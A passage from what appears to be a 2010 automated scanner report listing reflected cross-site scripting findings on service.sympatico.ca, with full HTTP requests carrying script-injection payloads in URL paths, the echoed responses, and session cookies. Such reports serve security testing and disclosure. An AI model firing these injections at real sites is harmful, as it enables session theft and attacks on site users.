Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:23 GMT
Connection: close
Set-Cookie: SMSESSION=/tXNIMaE1rbYgAiFoqQPLWEDdpnZa7Ph9JQcsCHhhR17Qj1+gRzpJ3bVvS/Xq27bmXjrJV0kCoD5OhIp2eNldSWEZCvuTvL7KFYeCsPOhhE0m8rTE1BsumyWeH5ho4snV8ko9Jfuvc8eiso6tdSZtl8qb2hTMfL7LMo5EUWkcu6x46JrcHTGao1RjO2MbBuOBvbiVIDZ9qiRY/7dSZROxmrOyaEg/pcxskWfWMzWfX9kSz/OClsD+UsBkd7F4wQ8vgt0cZkwJZ3Di6/Kc8AQHMsm8Ji9vr2VLbF80EjX95WxTiKk+GMjZA==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:24 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:24 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:24 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:24 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:24 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:24 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:24 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:24 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:24 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:24 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:24 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:24 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:24 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:24 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
en" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/css/minidashboard.cssb294a"><script>alert(1)</script>4438f18ee" />
...[SNIP]...

2.76. http://service.sympatico.ca/css/mybell.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /css/mybell.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6c187"><script>alert(1)</script>da4b5ae10c0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /css6c187"><script>alert(1)</script>da4b5ae10c0/mybell.css HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:06 GMT
Connection: close
Set-Cookie: SMSESSION=C0rMKFIRjSbv3lSDIH36dLZiAnk+XrTl0QrtKUvt2WTrEGQ0+nIpCMdGIS5WgwnHBe1vhy4PAYgmmn8LAaHpxWZVx+hN7Cr+OceqnJnI/DTQvF0zbytjCb+UdWmWWn2ByZbQSja9qh1nC2mTKazrMRGOtVQLfoLnQY7PhBtie1vGIgD0SyUVgd3oQsOtKWUic9fHdSJSTB1Txpbn5rcmB6TuW0ig1sU6TqdaAEu05+qBE6B/kSxlF/NYo7cdwriG6yTxFMnR+whs2IFo6Cwmz3j7/L4f1EbYvca/GhWFHDdVPn/yUCG/pw==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:07 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:07 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:07 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:07 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:07 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:07 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:07 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:07 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:07 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:07 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:07 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:07 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:07 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:07 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/css6c187"><script>alert(1)</script>da4b5ae10c0/mybell.css" />
...[SNIP]...

2.77. http://service.sympatico.ca/css/mybell.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /css/mybell.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dfd48"><script>alert(1)</script>9472016b1c2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /css/mybell.cssdfd48"><script>alert(1)</script>9472016b1c2 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:09 GMT
Connection: close
Set-Cookie: SMSESSION=Pr0kjNAd+7LJyiFyjdhN+8csotihbUk6AkHzHSOfjXC1wieyuoitGzAK1N+pWQOD+Y0/0KX4ZRFxbw8HxlZ3iHms4UZuw8L+y5a92WuDAGwuzdU6S6VbjpMT2kArAEufjGdEHBq9xvlfNKlEbJr9i+RjAjzG7a/fmeK/1HhzYsMHZ7o4g6G47nhZjnDcXaqQfHZdYdpdg8q4vO5+gTGCYGvXtSqkbAnR5lE4wZawjTDhLcK0wwiGbthelYY8BpHUWk3+l4nzwh894zNz0ZAIpoXHnq+UPGn21D9qhCgy4LdWc1ezQpBy7A==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:09 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:09 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:09 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:09 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:09 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:09 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:09 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:09 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:09 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:09 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:09 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:09 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:09 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:09 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
e="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/css/mybell.cssdfd48"><script>alert(1)</script>9472016b1c2" />
...[SNIP]...

2.78. http://service.sympatico.ca/css/screen.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /css/screen.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c3bb8"><script>alert(1)</script>591606ed58d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /cssc3bb8"><script>alert(1)</script>591606ed58d/screen.css HTTP/1.1
Accept: */*
